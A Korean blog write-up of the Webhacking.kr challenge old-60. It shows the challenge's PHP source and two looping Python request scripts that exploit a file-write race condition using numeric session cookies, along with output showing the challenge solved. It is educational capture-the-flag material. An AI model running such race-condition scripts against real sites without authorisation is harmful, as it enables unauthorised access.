ssongk
ssongk
ssongk
전체 방문자
오늘
어제

공지사항

  • resources
  • 분류 전체보기 (626)
    • CTF (24)
    • background (79)
      • fuzzing (5)
      • linux (29)
      • linux kernel (15)
      • windows (2)
      • web assembly (1)
      • embedded (0)
      • web (13)
      • crypto (9)
      • mobile (1)
      • AI (1)
      • etc.. (3)
    • write-up(pwn) (171)
      • dreamhack (102)
      • pwn.college (4)
      • pwnable.xyz (51)
      • pwnable.tw (3)
      • pwnable.kr (5)
      • G04T (6)
    • write-up(rev) (32)
      • dreamhack (24)
      • reversing.kr (8)
    • write-up(web) (195)
      • dreamhack (63)
      • LOS (40)
      • webhacking.kr (69)
      • websec.fr (3)
      • wargame.kr (6)
      • webgoat (1)
      • G04T (7)
      • suninatas (6)
    • write-up(crypto) (19)
      • dreamhack (16)
      • G04T (1)
      • suninatas (2)
    • write-up(forensic) (53)
      • dreamhack (5)
      • ctf-d (47)
      • suninatas (1)
    • write-up(misc) (13)
      • dreamhack (12)
      • suninatas (1)
    • development (31)
      • Linux (14)
      • Java (13)
      • Python (1)
      • C (2)
      • TroubleShooting (1)
    • 자격증 (8)
    • 이산수학 (1)
    • 정보보안 (0)
hELLO · Designed By 정상우.
ssongk

ssongk

write-up(web)/webhacking.kr

[Webhacking.kr] Challenge old-60 write-up

2023. 4. 5. 16:22
<?php
  include "../../config.php";
  if($_GET['view_source']) view_source();
  login_chk();
  echo "Your idx is {$_SESSION['idx']}<hr>";
  if(!is_numeric($_COOKIE['PHPSESSID'])) exit("Access Denied<br><a href=./?view_source=1>view-source</a>");
  sleep(1);
  if($_GET['mode']=="auth"){
    echo("Auth~<br>");
    $result = file_get_contents("./readme/{$_SESSION['idx']}.txt");
    if(preg_match("/{$_SESSION['idx']}/",$result)){
      echo("Done!");
      unlink("./readme/{$_SESSION['idx']}.txt");
      solve(60);
      exit();
    }
  }
  $p = fopen("./readme/{$_SESSION['idx']}.txt","w");
  fwrite($p,$_SESSION['idx']);
  fclose($p);
  if($_SERVER['REMOTE_ADDR']!="127.0.0.1"){
    sleep(1);
    unlink("./readme/{$_SESSION['idx']}.txt");
  }
?>
<html><head><title>Challenge 60</title></head><body><a href=./?view_source=1>view-source</a></body></html>

문제의 소스 코드입니다.

먼저 쿠키 값 PHPSESSID의 값을 바꿔줘야 합니다.

 

PHPSESSID 값을 날려주면 새로 값을 받을 수 있는데

이 값을 수정한 뒤 로그인 해주면 수정된 값을 쿠키 값으로 가질 수 있습니다.

 

그렇게 해서 is_numeric 조건을 만족시킬 수 있습니다.

 

mode가 auth인 경우에 파일에 세션 값의 존재 여부를 검사합니다.

auth가 아닌 경우에는 파일을 열어서 세션 값을 적어줍니다.

 

이 $_SESSION['idx'] 값은 57182 라는 값으로 고정되어 있습니다.
그래서 아래와 같이 파이썬 파일 두 개를 만들어 실행 했는데 
정규 표현식을 만족하지 못했습니다.

import requests

host = 'https://webhacking.kr/challenge/web-37/'
dummy = {'PHPSESSID':'1111111'}
while True:
    re = requests.get(host,cookies=dummy)
    print(re.text)
import requests

host = 'https://webhacking.kr/challenge/web-37/'
dummy = {'PHPSESSID':'1111111'}
while True:
    re = requests.get(host+'?mode=auth',cookies=dummy)
    print(re.text)

 

음.. 아마도 쿠키 값이 같으면 같은 요청으로 취급하는 것 같습니다.

다른 브라우저에서 새로운 쿠키 값을 받아서 아래와 같이 2개의 파일을 실행시켜주면

import requests

host = 'https://webhacking.kr/challenge/web-37/'
dummy = {'PHPSESSID':'1111111'}
while True:
    re = requests.get(host,cookies=dummy)
    print(re.text)
import requests

host = 'https://webhacking.kr/challenge/web-37/'
dummy = {'PHPSESSID':'1234'}
while True:
    re = requests.get(host+'?mode=auth',cookies=dummy)
    print(re.text)

 

% python3 old60.py
Your idx is 57182<hr><html><head><title>Challenge 60</title></head><body><a href=./?view_source=1>view-source</a></body></html>

Your idx is 57182<hr><html><head><title>Challenge 60</title></head><body><a href=./?view_source=1>view-source</a></body></html>

Your idx is 57182<hr><html><head><title>Challenge 60</title></head><body><a href=./?view_source=1>view-source</a></body></html>
python3 old60-4.py
Your idx is 57182<hr>Auth~<br><html><head><title>Challenge 60</title></head><body><a href=./?view_source=1>view-source</a></body></html>

Your idx is 57182<hr>Auth~<br>Done!<script>alert('already solved');</script>

solve(60) 함수가 실행되며 문제가 풀렸습니다!

'write-up(web) > webhacking.kr' 카테고리의 다른 글

[Webhacking.kr] sliping beauty write-up  (0) 2023.09.08
[Webhacking.kr] baby toctou write-up  (0) 2023.04.05
[Webhacking.kr] Challenge old-13 write-up  (0) 2023.03.26
[Webhacking.kr] Challenge old-40 write-up  (1) 2023.01.19
[Webhacking.kr] Challenge old-48 write-up  (0) 2023.01.18
    'write-up(web)/webhacking.kr' 카테고리의 다른 글
    • [Webhacking.kr] sliping beauty write-up
    • [Webhacking.kr] baby toctou write-up
    • [Webhacking.kr] Challenge old-13 write-up
    • [Webhacking.kr] Challenge old-40 write-up
    ssongk
    ssongk
    벌레 사냥꾼이 되고 싶어요

    티스토리툴바